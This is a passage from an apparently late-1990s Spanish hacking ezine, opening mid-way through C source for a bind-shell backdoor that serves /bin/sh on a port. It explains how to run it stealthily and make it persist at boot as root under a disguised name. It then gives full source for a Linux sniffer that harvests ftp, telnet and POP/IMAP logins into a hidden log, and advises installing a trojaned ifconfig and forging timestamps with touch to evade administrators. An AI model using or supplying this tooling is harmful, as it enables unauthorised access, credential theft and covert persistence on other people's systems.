soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0) exit(-1); if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
Este programa crea un puerto que tu le digas (lo defines en PORT), y al conectar con ese puerto ejecuta el /bin/sh con privilegios del que ejecuto
el programa. Es decir que si lo ejecuto el root tiene privilegios de root, si lo ejecuto pepe tiene privilegios de
pepe, etc. Para instalarlo tienes que compilarlo con cc -o file file.c, y luego lo instalas
ejecutándolo simplemente con ./file. Luego desde tu casa haces un "telnet máquina 31337" o el
que sea y ya estas dentro. Para ejecutar comandos tienes que poner siempre ;
es decir "ls;","who;",etc. y para desconectarte hay que poner "exit;".
NOTA: Al hacer un ps (no es hacer un pis, eh? :D) se vera mientras estés conectado la primera vez que lo corras. Me explico, tú pones ./file para ejecutarlo y al hacer un ps se verá, pero nada mas que desconectes ya no se verá mas, captáis? O sea, genial porque el root ni se entera.
Pero que pasa si el root resetea el ordenata? Pues que el programa se cierra, evidentemente. Para ello yo recomiendo copiar el programa ya compilado a /etc/rc.d/init.d/ con un nombre como stoke, o alguno que no suene raro. Luego editáis el fichero /etc/rc.d/rc y en mitad del fichero para que no cante mucho le añadís la línea /etc/rc.d/init.d/stoke. Así si se resetea el ordenata no importa porque arrancara el programa de nuevo con privilegios de root.
INSTALANDO UN SNIFFER
Un sniffer es un programa que se usa para conseguir mas password de otros sitios a partir de una maquina que ya hayas hackeado y de la que tengas el control. Es decir, una vez que eres root de un ordenata, ¿que te impide instalar un programa que grabe en un log el principio de las sesiones de ftp y telnet (u otros) que se abran desde esa máquina? Por ejemplo, que grabe las 10 primeras líneas de todas las sesiones de unos determinados puertos. Como es lógico entre esas diez líneas irán el login y el password, por lo que podrás conseguir cuentas de otros ordenadores fácilmente, genial, no? :).
Pues bien, eso es lo que hace un sniffer. Me falto decir que el sniffer solo rula si tienes el ordenador conectado en red a través de una tarjeta ethernet. Es decir, que si consigues hackear el ordenata de un colega, no le pongas un sniffer porque (a no ser que lo tenga conectado en red, claro) no te servirá de nada, igualmente que si lo intentas instalar en tu propia máquina.
Ahora pongo un sniffer para linux, para que lo uséis con fines
didácticos :). Tienes que definir el fichero de salida, es decir donde guardara los login y
lo pass, en la línea #define TCPLOG. Captura los pass de los puertos del ftp, telnet y
pop. Para ejecutarlo tienes que dejarlo corriendo en background, en segundo plano. Para ello al ejecutarlo tienes que poner "./file &". Al hacer
un ps se vera el sniffer solo hasta que te desconectes, luego ya no se vera ni con ps ni con top.
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}
ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
}
victim;
struct iphdr
*ip;
struct tcphdr
*tcp;
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG ".ttg19"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set promiscuous mode");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54; if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13)
{
fprintf(fp, "\n");
t=0;
}
if(isprint(data[i]))
{
fprintf(fp, "%c", data[i]);
t++;
}
if(t > 75)
{
t=0;
fprintf(fp, "\n");
}
}
}
main(int argc, char **argv)
{
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout; else fp=fopen(TCPLOG, "at");
if(fp == NULL)
{
fprintf(stderr, "cant open log\n");
exit(0);
}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0)
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah, he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);
}
Pero en cambio, detectar un sniffer es muy sencillo. Con la orden "ifconfig" y
fijándose si aparece la palabra PROMISC se sabe fácilmente. Esto lo hace muy vulnerable, y si un root avanzado se da cuenta no tardara en encontrar el fichero de logs del sniffer. Por cierto, esto es importante. Un sniffer captura
los login y pass de la peña que accede a otros ordenatas desde la máquina en la
que esta instalado, pero junto con el login y pass también captura su ip. A eso
tb le sumamos que tb pilla los pass y las ips de la gente que accede a la máquina del
sniffer, es decir, a si mismas. ¿Pues que pasaría si habéis borrado todas las huellas del syslog,etc. y no
borráis vuestra propia info del log
del sniffer? Os lo imagináis, ¿no? Hay que tener cuidado con eso..no os vaya a dar un disgusto :).
Para resolver lo del PROMISC del ifconfig hay que instalar un troyano. Es decir, un fichero modificado del ifconfig. Se compila y se copia sobrescribiendo el /sbin/ifconfig. Hay varios circulando por la red, sobre todo incluidos dentro de rootkits. En la misma página de este ezine (raregazz.islatortuga.com) lo tenéis dentro del rootkit para linux en el apartado de bugs/utilidades. Y ya que estamos hablando de troyanos no esta de paso comentar la orden "touch",que sirve para cambiar la fecha de un archivo. Por ejemplo si metes un ifconfig con fecha de ayer el root a lo mejor se mosquea :). Para modificarle la fecha lo mejor es pillarla de otro archivo del mismo directorio. Ej: en el directorio /sbin hay un archivo llamado "halt",cuya línea completa es:
-rwxr-xr-x 1 root root 6564 Oct 2 1997 /sbin/halt*
En cambio la del nuevo ifconfig es:
-rwxr-xr-x 1 root root 23368 May 8 1998 /sbin/ifconfig*
Como veis, la fecha del ifconfig canta un poco. Pues ponéis
touch -r /sbin/halt/sbin/ifconfig
y la nueva línea del ifconfig pasa a a ser:
-rwxr-xr-x 1 root root 23368 Oct 2 1997 /sbin/ifconfig*
Es decir, pilla la fecha de /sbin/halt y la copia a /sbin/ifconfig, así ya no canta tanto que lo has modificado. Después de haber sobrescrito el ifconfig por un troyano ya no aparecerá lo de PROMISC, aunque hayas instalado un sniffer.
Escrito por: PoSiDoN